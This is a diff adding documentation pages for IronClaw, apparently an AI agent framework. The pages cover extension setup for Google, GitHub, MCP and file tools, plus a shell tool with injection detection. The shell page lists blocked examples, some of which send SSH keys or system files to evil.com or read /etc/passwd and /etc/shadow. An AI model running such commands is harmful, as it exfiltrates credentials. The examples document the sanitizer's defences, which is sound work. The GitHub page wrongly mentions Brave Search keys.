}, + "secrets": { + "allowed_names": ["example_api_token"] + }, + "auth": { + "secret_name": "example_api_token", + "display_name": "Example API", + "instructions": "Create an API token in your provider dashboard", + "setup_url": "https://example.com/settings/api", + "token_hint": "Starts with 'ex_'", + "env_var": "EXAMPLE_API_TOKEN" + } +} +``` + +How this works: + +- `http.credentials` maps a stored secret to where it should be injected (`bearer`, custom header, query param, or URL placeholder). +- `secrets.allowed_names` lets the tool check secret presence with `near::agent::host::secret_exists(...)`. +- `auth` tells IronClaw how to collect credentials. + +After installing the tool, run auth once: + +```bash +ironclaw tool auth +``` + +Auth flow priority is: + +1. Use `auth.env_var` if it is set in your environment. +2. Use OAuth if `auth.oauth` is configured. +3. Fall back to manual token entry using `instructions` and `setup_url`. + +If your capabilities include `setup.required_secrets` (for example OAuth client id/client secret fields), run setup as well: + +```bash +ironclaw tool setup +``` + +This keeps credentials outside agent-visible prompts and lets the host inject them only where allowlisted. + +--- + +## 8. Build and install + +```bash +cargo build --target wasm32-wasip2 --release +``` + +```bash +ironclaw tool install ./target/wasm32-wasip2/release/weather_tool.wasm \ + --capabilities ./weather-tool.capabilities.json \ + --name weather-tool +``` + +Verify it loaded: + +```bash +ironclaw tool list +``` + +If your tool defines secret variables, authenticate now: + +```bash +ironclaw tool auth +``` + +If your tool defines `setup.required_secrets`, run: + +```bash +ironclaw tool setup +``` + +--- + +## Try it out + +Start IronClaw and ask your agent: + +- "What's the weather in Buenos Aires?" +- "Give me a 5-day forecast for London, GB in imperial units." +- "What's the air quality at coordinates 35.6762, 139.6503?" + +The agent resolves the right action from the schema and calls the tool automatically. diff --git a/docs/extensions/file-tools.mdx b/docs/extensions/file-tools.mdx new file mode 100644 index 0000000000..8c659ebb90 --- /dev/null +++ b/docs/extensions/file-tools.mdx @@ -0,0 +1,59 @@ +--- +title: File Handling +description: Let your agent read and write files in the local filesystem +--- + +The file tools give the agent access to the local filesystem. All paths are resolved relative to the workspace root unless absolute paths are provided. + +--- + +## Setup + +File tools require `ALLOW_LOCAL_TOOLS=true`. They are disabled by default to prevent accidental filesystem access in hosted or shared environments. + +```bash +export ALLOW_LOCAL_TOOLS=true +``` + +--- + +## Available Actions + +- `read_file`: Read the contents of a file. +- `write_file`: Write content to a file, creating parent directories as needed. +- `list_dir`: List the contents of a directory. +- `apply_patch`: Apply a unified diff patch to a file. This is the preferred way for the agent to make targeted edits to existing files rather than rewriting them in full. + +--- + +## Example Usage + +> "Read my project notes at `projects/ironclaw/notes.md`" + +> "Write a README for my project to `projects/ironclaw/README.md`" + +> "What files are in my `projects/` directory?" + +> "Update the status section in `projects/notes.md` to say Completed" + +--- + +## Security Considerations + + + + Relative paths like `notes/todo.md` resolve to `/notes/todo.md`. Absolute paths are used as-is. + + + + The sanitizer detects path traversal patterns (`../`) in file paths supplied by external content. Paths that resolve outside the workspace root are blocked by policy. + + + + `read_file` passes file contents through the Safety Layer. If a file contains patterns that look like API keys, tokens, or private keys, the leak detector will redact them before the LLM sees them. + + + + File paths are not passed through a shell. Characters like `;`, `&`, and `$()` in paths are treated as literals and cannot be used for command injection. + + diff --git a/docs/extensions/github.md b/docs/extensions/github.md new file mode 100644 index 0000000000..f81ee9460f --- /dev/null +++ b/docs/extensions/github.md @@ -0,0 +1,118 @@ +--- +title: "Github" +description: "Let your agent access Github" +--- + +The Github extension allows your agent to interact with Github repositories, issues, pull requests, and more, making it ideal for automating code-related tasks, managing projects, or gathering information from Github. + +--- + +## Setup + + + + + +To use the Github extension, you need to obtain an API key from Brave Search. You can get one by signing up at + + + + + + +To install the Web Search extension, run the following command in your terminal: + +```bash +ironclaw registry install github +``` + + + + + +After installing the extension, you need to configure your Github API key in IronClaw. You can do this by running: + +```bash +ironclaw tool auth github +``` + +Then follow the prompts to enter your API key. + + +Be sure to create a fine-grained personal access token with only the necessary permissions for your use case. When in doubt, choose the least permissive options, you can always create new tokens with different permissions later on + + + + + + +--- + +## Available Actions: + +Here are some of the actions your agent can perform with the Github extension: + +- `get_repo`: Retrieve repository information +- `list_issues`: List all issues in a repository +- `create_issue`: Create a new issue +- `get_issue`: Get details of a specific issue +- `list_issue_comments`: List comments on an issue +- `create_issue_comment`: Add a comment to an issue +- `list_pull_requests`: List pull requests +- `create_pull_request`: Create a new pull request +- `get_pull_request`: Get details of a specific pull request +- `get_pull_request_files`: Get the list of files in a pull request +- `create_pr_review`: Submit a pull request review +- `list_pull_request_comments`: List review comments on a pull request +- `reply_pull_request_comment`: Reply to a pull request review comment +- `get_pull_request_reviews`: Get reviews for a pull request +- `get_combined_status`: Get the combined status for a ref +- `merge_pull_request`: Merge a pull request +- `list_repos`: List repositories (user/org) +- `get_file_content`: Retrieve the content of a file in the repo +- `trigger_workflow`: Manually trigger a GitHub Actions workflow +- `get_workflow_runs`: List recent workflow runs +- `handle_webhook`: Handle a GitHub webhook payload + +--- + +## Working on Public Repositories + +Lets configure our agent to have its own github account, which it can use to create issues and comment on PRs in **public repositories**. + + + + + +Go to https://github.com and create a new account for your agent. If you are already logged in with your personal account you will need to briefly log out to create the new account, but you can log back in right after + + + + + +On the agent's Github account, go to [Settings -> Developer settings -> Personal access tokens -> Tokens (classic)](https://github.com/settings/tokens) and generate a new token (classic) with the following permissions: `repo` -> `public_repo` + + + + +Now that you have the token, you can authenticate the Github extension by running: + +```bash +ironclaw tool auth github +``` + +Then follow the prompts to enter the token you just generated. + + + + + +Ask your agent to create a test issue in one of your public repositories, and check if the issue was created successfully. + + +Ask your agent to read the [Github Markdown Guidelines](https://github.com/adam-p/markdown-here/wiki/markdown-cheatsheet) and remember then when creating issues and comments, it can make the formatting much nicer! + + + + + diff --git a/docs/extensions/google/calendar.md b/docs/extensions/google/calendar.md new file mode 100644 index 0000000000..a95064a589 --- /dev/null +++ b/docs/extensions/google/calendar.md @@ -0,0 +1,80 @@ +--- +title: "Calendar" +description: "Let your agent manage your Google Calendar" +--- + +The Google Calendar extension allows your agent to interact with your Google Calendar — creating events, checking your schedule, updating appointments, and more. It's ideal for automating scheduling tasks, setting reminders, or managing meetings directly from your agent. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for [**Google Calendar API**](https://console.cloud.google.com/marketplace/product/google/calendar-json.googleapis.com?q=search&referrer=search), and click **Enable**. + + + + + +```bash +ironclaw registry install google-calendar +``` + + + + + +```bash +ironclaw tool auth google-calendar +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `list_calendars`: List all calendars in your Google account +- `list_events`: List upcoming events in a calendar +- `get_event`: Get details of a specific event +- `create_event`: Create a new calendar event +- `update_event`: Update an existing event (title, time, description, attendees) +- `delete_event`: Delete a calendar event +- `find_free_slots`: Find available time slots across one or more calendars +- `add_attendees`: Add attendees to an existing event +- `set_reminder`: Set a reminder for an event + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"Schedule a team sync for next Tuesday at 3pm for 1 hour"_ +- _"What's on my calendar this week?"_ +- _"Move my Friday meeting to Monday morning"_ +- _"Find a free 30-minute slot for me and john@example.com this week"_ +- _"Cancel all my meetings on Thursday afternoon"_ + +--- + +## Working with Multiple Calendars + +If your Google account has multiple calendars (personal, work, shared), you can tell your agent which one to use: + + +Say something like: _"Add this to my Work calendar, not my personal one."_ The agent will use `list_calendars` to find the right calendar by name before creating the event. + diff --git a/docs/extensions/google/docs.md b/docs/extensions/google/docs.md new file mode 100644 index 0000000000..3e98ed31b8 --- /dev/null +++ b/docs/extensions/google/docs.md @@ -0,0 +1,87 @@ +--- +title: "Docs" +description: "Let your agent create and edit Google Documents" +--- + +The Google Docs extension allows your agent to interact with Google Docs — creating documents, reading content, inserting and formatting text, managing tables and lists, and running batch updates. It's ideal for drafting reports, editing existing documents, or automating document workflows directly from your agent. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Docs API**, and click **Enable**. + + + + + +```bash +ironclaw registry install google-docs +``` + + + + + +```bash +ironclaw tool auth google-docs +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `create_document`: Create a new Google Doc with an optional title +- `get_document`: Retrieve document metadata (title, revision, named ranges) +- `read_content`: Extract the plain-text or structured content of a document +- `insert_text`: Insert text at a specific index in the document body +- `delete_content`: Delete a range of content by start and end index +- `replace_text`: Find and replace text throughout the document +- `format_text`: Apply character formatting (bold, italic, font size, color) to a text range +- `format_paragraph`: Apply paragraph styling (heading level, alignment, spacing, indentation) to a range +- `insert_table`: Insert a table with a specified number of rows and columns +- `create_list`: Convert a range of paragraphs into a bulleted or numbered list +- `batch_update`: Send multiple document update requests in a single API call + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"Create a new document titled 'Q2 Marketing Plan'"_ +- _"Read the content of document ID 1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgVE2upms"_ +- _"Insert a summary paragraph at the top of my report"_ +- _"Replace all occurrences of 'TBD' with 'Pending Review' in this doc"_ +- _"Format the title as Heading 1 and make it bold"_ +- _"Add a 3-column table for the budget breakdown"_ + +--- + +## Working with Document IDs + +Google Doc IDs appear in the document URL: + +``` +https://docs.google.com/document/d//edit +``` + + +You can tell your agent to "use the document at this URL" and paste the full URL — the agent will extract the document ID automatically. + diff --git a/docs/extensions/google/drive.md b/docs/extensions/google/drive.md new file mode 100644 index 0000000000..e187cfe769 --- /dev/null +++ b/docs/extensions/google/drive.md @@ -0,0 +1,85 @@ +--- +title: "Drive" +description: "Let your agent manage files and folders in Google Drive" +--- + +The Google Drive extension allows your agent to interact with your Google Drive — listing, searching, uploading, downloading, sharing, and organizing files and folders. It supports both personal Drive and shared drives, making it ideal for file management workflows, automated uploads, and permission management. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Drive API**, and click **Enable**. + + + + + +```bash +ironclaw registry install google-drive +``` + + + + + +```bash +ironclaw tool auth google-drive +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `list_files`: List files and folders, with optional search query, MIME type filter, and folder scope +- `get_file`: Retrieve metadata for a specific file (name, type, size, owners, permissions) +- `download_file`: Download the content of a file as text or base64 +- `upload_file`: Upload a new file with specified content and MIME type +- `update_file`: Update the content or name of an existing file +- `create_folder`: Create a new folder, optionally inside a parent folder +- `delete_file`: Permanently delete a file or folder +- `trash_file`: Move a file to the trash (recoverable) +- `share_file`: Share a file with a user or group with a specified role (reader/writer/owner) +- `list_permissions`: List all permissions on a file +- `remove_permission`: Remove a specific permission from a file +- `list_shared_drives`: List all shared drives accessible to the account + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"List all PDF files in my Drive"_ +- _"Upload this report as a file named 'Q2-Report.txt'"_ +- _"Download the file named 'budget.csv' from my Drive"_ +- _"Create a folder called 'Project Assets' inside my 'Work' folder"_ +- _"Share the contract with bob@example.com as a viewer"_ +- _"Who has access to my 'Roadmap' document?"_ +- _"Move the old proposal to trash"_ + +--- + +## Working with Shared Drives + +If your Google account has access to shared (team) drives, the agent can target them directly: + + +Say something like: _"List all files in our Engineering shared drive."_ The agent will use `list_shared_drives` to find the right drive by name before searching for files within it. + diff --git a/docs/extensions/google/gmail.md b/docs/extensions/google/gmail.md new file mode 100644 index 0000000000..26d7378088 --- /dev/null +++ b/docs/extensions/google/gmail.md @@ -0,0 +1,87 @@ +--- +title: "Gmail" +description: "Let your agent read, send, and manage your Gmail messages" +--- + +The Gmail extension allows your agent to interact with your Gmail inbox — listing and searching messages, reading full email content, sending new emails, creating drafts, replying to threads, and trashing messages. It's ideal for automating email workflows, monitoring important threads, or sending notifications directly from your agent. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Gmail API**, and click **Enable**. + + + + + +```bash +ironclaw registry install gmail +``` + + + + + +```bash +ironclaw tool auth gmail +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `list_messages`: List messages in your inbox with an optional Gmail search query, label filter, and result limit +- `get_message`: Read the full content of a message by ID, including headers, body, and labels +- `send_message`: Send a new email with recipient(s), subject, body, and optional CC addresses +- `create_draft`: Save a message as a draft without sending it +- `reply_to_message`: Reply to an existing message thread, keeping the conversation history intact +- `trash_message`: Move a message to the trash + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"What emails did I receive from alice@example.com this week?"_ +- _"Read my latest unread message"_ +- _"Send an email to bob@example.com with subject 'Meeting Notes' and a summary of today's discussion"_ +- _"Draft a follow-up to the project proposal thread"_ +- _"Reply to the last message in the invoice thread saying the payment has been processed"_ +- _"Trash all emails from noreply@newsletter.com"_ + +--- + +## Gmail Search Syntax + +The `list_messages` action accepts standard Gmail search queries in the `query` field: + +| Query | Matches | +|---|---| +| `from:alice@example.com` | Messages from Alice | +| `subject:invoice` | Messages with "invoice" in the subject | +| `is:unread` | Unread messages | +| `label:work` | Messages with the "work" label | +| `after:2025/01/01` | Messages received after January 1, 2025 | +| `has:attachment` | Messages with attachments | + + +You can combine queries: `from:alice@example.com is:unread` lists all unread messages from Alice. + diff --git a/docs/extensions/google/oauth-setup.md b/docs/extensions/google/oauth-setup.md new file mode 100644 index 0000000000..6d4d381505 --- /dev/null +++ b/docs/extensions/google/oauth-setup.md @@ -0,0 +1,86 @@ +--- +title: "OAuth Setup" +description: "One-time setup for any Google extension in IronClaw" +--- + +All Google extensions share the same OAuth 2.0 setup. Complete these steps once — you can reuse the same Google Cloud project and credentials for every Google extension you install. + +--- + + + + + +Go to [Google Cloud Console](https://console.cloud.google.com) and create a new project (or select an existing one). + +1. Click **Select a project** → **New Project** +2. Give it a name (e.g. `ironclaw`) and click **Create** + + + + + +Go to [**Google Auth Platform → Clients**](https://console.cloud.google.com/auth/clients) and create a new client: + +1. Click **Create client** +2. Set **Application type** to **Web application** +3. Give it a name (e.g. `ironclaw`) +4. Under **Authorized redirect URIs**, click **+ Add URI** and enter: + + ``` + http://127.0.0.1:9876/callback + ``` + +5. Click **Create** and copy the **Client ID** and **Client Secret** shown + + + + + +Since the app is in **Testing** mode, only explicitly added users can authorize it. Go to [**Google Auth Platform → Audience**](https://console.cloud.google.com/auth/audience), scroll down to **Test users**, and click **+ Add users**. + +Add the Google account(s) that will use the extension. The app supports up to 100 test users before requiring verification. + + +Only test users can complete the OAuth flow while the app is in Testing mode. If you get an "access blocked" error, make sure your account is listed here. + + + + + +To complete the OAuth flow, we need to allow Google to reach the IronClaw server. Since port 9876 is only accessible from within the server, you need to open an SSH tunnel that forwards your local port 9876 to the server. + +Open a new SSH session using port forwarding: + +```bash +# ssh -p -L 9876:127.0.0.1:9876 @ +ssh -p 15222 -L 9876:127.0.0.1:9876 liquid-zebra@agent4.near.ai +``` + +Keep this terminal session open while completing the OAuth flow. + + +The port forwarding will remain active as long as the SSH session remains open, and automatically closes when you exit the session. + + + +Remember to whitelist the port 9876 in your server's firewall settings to allow the tunnel to work properly + + + + + + + +Once connected via SSH, export your OAuth credentials as environment variables: + +```bash +export GOOGLE_OAUTH_CLIENT_ID= +export GOOGLE_OAUTH_CLIENT_SECRET= +``` + + + + + +You're ready to install any Google extension. Return to the extension page to complete the remaining steps. diff --git a/docs/extensions/google/sheets.md b/docs/extensions/google/sheets.md new file mode 100644 index 0000000000..05b66a97f4 --- /dev/null +++ b/docs/extensions/google/sheets.md @@ -0,0 +1,90 @@ +--- +title: "Sheets" +description: "Let your agent read and write Google Spreadsheets" +--- + +The Google Sheets extension allows your agent to interact with Google Sheets — creating spreadsheets, reading and writing cell ranges, appending rows, formatting cells, and managing sheets. It uses standard A1 notation for ranges and is ideal for data entry automation, report generation, and spreadsheet-driven workflows. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Sheets API**, and click **Enable**. + + + + + +```bash +ironclaw registry install google-sheets +``` + + + + + +```bash +ironclaw tool auth google-sheets +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `create_spreadsheet`: Create a new spreadsheet with an optional title and initial sheet names +- `get_spreadsheet`: Retrieve spreadsheet metadata (title, sheet names, named ranges) +- `read_values`: Read cell values from a range using A1 notation (e.g. `Sheet1!A1:D10`) +- `batch_read_values`: Read multiple ranges in a single API call +- `write_values`: Write values to a range, replacing existing content +- `append_values`: Append rows after the last row that contains data in a range +- `clear_values`: Clear all values from a range (preserving formatting) +- `add_sheet`: Add a new sheet (tab) to an existing spreadsheet +- `delete_sheet`: Delete a sheet by its ID +- `rename_sheet`: Rename an existing sheet +- `format_cells`: Apply number formats, text styles, or background colors to a cell range + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"Create a new spreadsheet called 'Monthly Expenses'"_ +- _"Read the values from cells A1 to E20 in my budget sheet"_ +- _"Add a new row with today's sales data to the 'Sales' tab"_ +- _"Clear all data from the 'Draft' sheet"_ +- _"Rename the first sheet to 'Summary'"_ +- _"Format column B as currency in my expenses spreadsheet"_ + +--- + +## Using A1 Notation + +All range operations use standard A1 notation. You can include the sheet name to target a specific tab: + +| Notation | Meaning | +|---|---| +| `A1` | Single cell | +| `A1:C10` | Range across rows and columns | +| `Sheet1!A1:B5` | Range on a specific sheet | +| `Sheet1!A:A` | Entire column A on Sheet1 | + + +If your spreadsheet has multiple sheets, include the sheet name in the range (e.g. `Budget!B2:D50`) so the agent targets the right tab. + diff --git a/docs/extensions/google/slides.md b/docs/extensions/google/slides.md new file mode 100644 index 0000000000..e2a16671c3 --- /dev/null +++ b/docs/extensions/google/slides.md @@ -0,0 +1,86 @@ +--- +title: "Slides" +description: "Let your agent create and edit Google Presentations" +--- + +The Google Slides extension allows your agent to interact with Google Slides — creating presentations, managing slides, inserting and formatting text, adding shapes and images, and running batch updates. It's ideal for automating slide deck generation, updating presentation content, or building reports directly from your agent. + +--- + +## Setup + +If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. + + + + + +In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Slides API**, and click **Enable**. + + + + + +```bash +ironclaw registry install google-slides +``` + + + + + +```bash +ironclaw tool auth google-slides +``` + +IronClaw will provide a URL for you to authenticate - remember to follow the [auth setup](./oauth-setup) to enable your agent to capture the callback. If possible, it will open a browser window. Once approved, the token is stored securely and refreshed automatically. + + +If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. + + + + + + +--- + +## Available Actions + +- `create_presentation`: Create a new presentation with an optional title +- `get_presentation`: Retrieve presentation metadata (title, slide count, element IDs) +- `get_thumbnail`: Get a thumbnail image URL for a specific slide +- `create_slide`: Add a new slide at a specified position with an optional layout +- `delete_object`: Delete a slide or page element by its object ID +- `insert_text`: Insert text into a text box or shape at a specific index +- `delete_text`: Delete a range of text from a text element +- `replace_all_text`: Find and replace text across all slides in the presentation +- `create_shape`: Insert a shape (rectangle, ellipse, arrow, etc.) onto a slide +- `insert_image`: Insert an image from a URL onto a slide at specified dimensions and position +- `format_text`: Apply character formatting (bold, italic, font size, color) to a text range +- `format_paragraph`: Apply paragraph alignment and spacing to a text range +- `replace_shapes_with_image`: Replace all shapes matching a tag with an image URL +- `batch_update`: Send multiple slide update requests in a single API call + +--- + +## Example Usage + +Once configured, you can ask your agent things like: + +- _"Create a new presentation called 'Q3 Roadmap'"_ +- _"Add a title slide with the heading 'Annual Review 2025'"_ +- _"Replace all occurrences of '[COMPANY]' with 'Acme Corp' across the deck"_ +- _"Insert our logo image on slide 1 at the top-right corner"_ +- _"Get a thumbnail of slide 3 so I can preview it"_ +- _"Delete the last two slides from the deck"_ + +--- + +## Working with Object IDs + +Every element in a Google Slides presentation (slides, text boxes, shapes, images) has a unique object ID. Use `get_presentation` to retrieve the IDs of existing slides and elements before targeting them with update operations. + + +For bulk text replacements across an entire deck, `replace_all_text` is more efficient than targeting individual elements — the agent applies the change to every slide in one API call. + diff --git a/docs/extensions/mcp.mdx b/docs/extensions/mcp.mdx new file mode 100644 index 0000000000..cab4c6bc72 --- /dev/null +++ b/docs/extensions/mcp.mdx @@ -0,0 +1,71 @@ +--- +title: MCP Servers +sidebarTitle: MCP Servers +description: Connect Model Context Protocol servers to extend IronClaw +--- + +IronClaw can connect to any [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) server and expose its tools to the agent. MCP is an open standard for tool servers, with a growing ecosystem of pre-built servers covering databases, APIs, cloud services, and more. + + +IronClaw connects to MCP servers over **HTTP transport** using JSON-RPC 2.0. The `stdio` transport (subprocess pipes) is not yet supported. + + + +--- + +## Add a Server + +To add a MCP server you can either directly request your agent to use it, or configure it via CLI: + +```bash +ironclaw mcp add +``` + +--- + +## Authentication +If your MCP server requires authentication, use the following command: + +```bash +ironclaw mcp auth +``` + +--- + +## Listing Available MCP Servers + +Once connected, MCP tools appear in the agent's tool list alongside built-in tools. You can see them: + +```bash +# Via CLI +ironclaw mcp list +``` + +--- + +## Removing an MCP Server + +Remove a server with: + +```bash +ironclaw mcp remove +``` + +--- + +## WASM vs MCP: When to Use Each + +| Consideration | WASM | MCP | +|--------------|------|-----| +| **Isolation** | Strong — wasmtime sandbox, fuel metering, memory limits | Weaker — separate process, but no wasmtime sandbox | +| **Credential injection** | Proxy-level injection, WASM module never sees raw tokens | MCP server manages its own auth | +| **Network control** | Domain allowlist via `capabilities.json` | MCP server controls its own network access | +| **Ecosystem** | Custom-built | Large existing ecosystem (databases, APIs, cloud) | +| **Language** | Any `wasm32-wasi` target | Any language | +| **Startup cost** | Module compilation on first load (then cached) | External process must already be running | +| **Best for** | Custom integrations where isolation is critical | Leveraging existing MCP servers | + + +For integrations that handle sensitive credentials or untrusted external data, prefer WASM tools. The network proxy and credential injection model give you stronger isolation guarantees than an MCP server running as a separate process. + + diff --git a/docs/extensions/overview.mdx b/docs/extensions/overview.mdx new file mode 100644 index 0000000000..328e89f67b --- /dev/null +++ b/docs/extensions/overview.mdx @@ -0,0 +1,34 @@ +--- +title: "Overview" +description: "Extend your agent with built-in and external tools" +--- + +Extend your agent with tools for common tasks like file manipulation, web search, and GitHub integration. + + + + Read, write, list, and patch files in your workspace. + + + + Run shell commands with environment scrubbing and injection checks. + + + + Search the web for up-to-date information using Brave Search. + + + + Work with repositories, issues, pull requests, and workflows. + + + + Connect Model Context Protocol servers and expose their tools. + + + +## Build your own + + + Create your own extension and register it with your agent. + \ No newline at end of file diff --git a/docs/extensions/shell.mdx b/docs/extensions/shell.mdx new file mode 100644 index 0000000000..c3d88cf633 --- /dev/null +++ b/docs/extensions/shell.mdx @@ -0,0 +1,134 @@ +--- +title: Shell Commands +description: Execute shell commands with environment scrubbing and injection detection +--- + +The `shell` tool lets the agent execute shell commands on the host system. Because shell access is powerful, IronClaw applies two layers of protection before any command runs: environment scrubbing and command injection detection. + +--- + +## Configuration + +```bash +export ALLOW_LOCAL_TOOLS=true +``` + +Without this setting, the `shell` tool is not registered and is invisible to the LLM. + +--- + +## Environment Scrubbing + +Before executing any command, the shell tool builds a sanitized environment. Sensitive variables are removed entirely — they are never present in the process environment when the command runs. + +**Variables that are scrubbed:** + +| Category | Examples | +|--------------------------------------------------------------------|---------------------------------------------------------------------------------| +| API keys and tokens | `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `NEARAI_API_KEY`, `NEARAI_SESSION_TOKEN` | +| Database credentials | `DATABASE_URL`, `LIBSQL_AUTH_TOKEN` | +| Auth tokens | `GATEWAY_AUTH_TOKEN`, `HTTP_WEBHOOK_SECRET` | +| Any variable matching `*_KEY`, `*_SECRET`, `*_TOKEN`, `*_PASSWORD` | Pattern-based scrubbing | + +**Variables that are preserved:** + +| Variable | Reason | +|-----------------|---------------------------------------------------| +| `PATH` | Required for command resolution | +| `HOME` | Required for tools that read config from home dir | +| `USER`, `SHELL` | Safe context variables | +| `LANG`, `LC_*` | Locale settings | + +**Why this matters:** Without scrubbing, a command like `env` or `printenv` — or a compromised binary on PATH — could dump all environment variables, including API keys, to stdout. The shell tool prevents this by ensuring secrets are never in the environment to begin with. + +--- + +## Command Injection Detection + +The sanitizer analyzes every command before execution and blocks patterns commonly used in injection attacks. + +### Blocked Patterns + +| Pattern | Example | Why blocked | +|------------------------------|----------------------------|-----------------------------------------| +| Command chaining with `;` | `ls; rm -rf /` | Executes second command unconditionally | +| Logical chaining with `&&` | `echo ok && curl evil.com` | Executes second command on success | +| Logical chaining with `\|\|` | `false \|\| curl evil.com` | Executes second command on failure | +| Subshells with `$()` | `echo $(cat /etc/passwd)` | Embeds command output | +| Backtick subshells | `` echo `id` `` | Embeds command output | +| Path traversal | `cat ../../../etc/shadow` | Escapes intended directory | +| Null bytes | `command\x00injection` | Terminates strings in C functions | + +### Blocked Examples + +```bash +# BLOCKED: Command chaining +cat notes.md; curl http://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) + +# BLOCKED: Subshell injection +echo "result: $(whoami)" + +# BLOCKED: Path traversal +cat ../../etc/passwd + +# BLOCKED: Chained with && +git status && curl -X POST http://evil.com --data @/etc/hosts +``` + +### Allowed Examples + +```bash +# ALLOWED: Simple command +ls -la /workspace/projects + +# ALLOWED: Pipe within a single command +cat notes.md | grep "TODO" + +# ALLOWED: Redirect +cargo build 2>&1 + +# ALLOWED: Multi-word with flags +git log --oneline -20 + +# ALLOWED: Variable expansion of non-sensitive vars +echo $HOME +``` + + +Pipe (`|`) within a single command is allowed because it does not chain independent commands — it passes stdout of one program to stdin of another within the same execution context. + + +--- + +## Output Sanitization + +Shell output passes through the Safety Layer before reaching the LLM: + +1. **Leak detector** — Scans for secret patterns in stdout/stderr. If output contains something that looks like an API key or token, it is redacted. +2. **Sanitizer** — Escapes control characters and other dangerous content. + +The output is wrapped before the LLM sees it: + +```xml + + [command stdout/stderr] + +``` + +--- + +## Security Considerations + + + + When a job involves running code or scripts that you didn't write, use the Docker sandbox instead. Jobs dispatched to the sandbox run in an isolated container with a non-root user, dropped capabilities, and network controlled by the proxy. The shell tool runs directly on the host with your user's permissions. + + + + The injection detector operates on the command string before execution. It is not a replacement for proper shell escaping — do not rely on it as the sole guard when constructing commands from user-supplied data. The sanitizer provides defense-in-depth, not a guarantee. + + + + Commands that exceed `timeout_secs` are killed. The default is 30 seconds. For long-running tasks, either increase the timeout or consider using a background job instead. + + diff --git a/docs/extensions/web-search.md b/docs/extensions/web-search.md new file mode 100644 index 0000000000..73edddb15d --- /dev/null +++ b/docs/extensions/web-search.md @@ -0,0 +1,49 @@ +--- +title: "Web Search" +description: "Let your agent search the web" +--- + +The Web Search tool allows your agent to use the [Brave Search API]() search the web for up-to-date information, making it ideal for answering questions about current events, finding specific data, or gathering general information. + +--- + +## Setup + + + + + +To use the Web Search tool, you need to obtain an API key from Brave Search. You can get one by signing up at https://api-dashboard.search.brave.com + + + +As of the time of writing, Brave Search API offers 5$ of free credits per month on their basic plan, which is more than enough for testing and small-scale use. + + + + + + + + +To install the Web Search extension, run the following command in your terminal: + +```bash +ironclaw registry install web-search +``` + + + + + +After installing the extension, you need to configure your Brave Search API key in IronClaw. You can do this by running: + +```bash +ironclaw tool auth web-search +``` + +Then follow the prompts to enter your API key. + + + + \ No newline at end of file diff --git a/docs/images/channels/telegram-channel.png b/docs/images/channels/telegram-channel.png new file mode 100644 index 0000000000..f7b05833db Binary files /dev/null and b/docs/images/channels/telegram-channel.png differ diff --git a/docs/images/channels/tunnel.png b/docs/images/channels/tunnel.png new file mode 100644 index 0000000000..e73f2f8fca Binary files /dev/null and b/docs/images/channels/tunnel.png differ diff --git a/docs/images/infrastructure/droplets/droplet-ip.png b/docs/images/infrastructure/droplets/droplet-ip.png new file mode 100644 index 0000000000..04a75fd473 Binary files /dev/null and b/docs/images/infrastructure/droplets/droplet-ip.png differ diff --git a/docs/images/infrastructure/droplets/droplets-create.png b/docs/images/infrastructure/droplets/droplets-create.png new file mode 100644 index 0000000000..7b3e7c12ef Binary files /dev/null and b/docs/images/infrastructure/droplets/droplets-create.png differ diff --git a/docs/images/infrastructure/droplets/droplets-landing.png b/docs/images/infrastructure/droplets/droplets-landing.png new file mode 100644 index 0000000000..9e7b044790 Binary files /dev/null and b/docs/images/infrastructure/droplets/droplets-landing.png differ diff --git a/docs/images/logo/favicon.ico b/docs/images/logo/favicon.ico new file mode 100644 index 0000000000..2f144abd98 Binary files 